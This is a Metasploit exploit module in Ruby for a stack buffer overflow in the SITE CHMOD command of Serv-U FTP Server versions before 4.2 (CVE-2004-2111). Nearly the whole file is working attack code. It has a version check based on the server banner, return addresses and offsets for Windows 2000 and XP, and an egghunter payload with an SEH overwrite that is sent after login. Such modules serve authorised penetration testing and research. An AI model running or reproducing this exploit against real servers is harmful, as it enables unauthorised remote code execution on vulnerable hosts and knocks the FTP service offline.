Serv-U FTP Server Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Egghunter  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in the site chmod command  
in versions of Serv-U FTP Server prior to 4.2.  
  
You must have valid credentials to trigger this vulnerability. Exploitation  
also leaves the service in a non-functional state.  
},  
'Author' => 'thelightcosine <thelightcosine[at]metasploit.com>',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-2111'],  
[ 'BID', '9483'],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",  
'DisableNops' => true,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 SP0-4 EN', {  
'Ret' => 0x750212bc, #WS2HELP.DLL  
'Offset' => 396 } ],  
[ 'Windows XP SP0-1 EN', {  
'Ret' => 0x71aa388f, #WS2HELP.DLL  
'Offset' => 394 } ]  
],  
'DisclosureDate' => 'Dec 31 2004',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
  
def exploit  
connect_login  
  
eggoptions =  
{  
:checksum => true,  
:eggtag => "W00T"  
}  
  
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)  
  
  
buffer = "chmod 777 "  
buffer << make_nops(target['Offset'] - egg.length - hunter.length)  
buffer << egg  
buffer << hunter  
buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter  
buffer << [target.ret].pack('V') #seh  
buffer << rand_text(5000)  
  
print_status("Trying target #{target.name}...")  
  
send_cmd( ['SITE', buffer] , false)  
  
handler  
disconnect  
end  
  
end  
`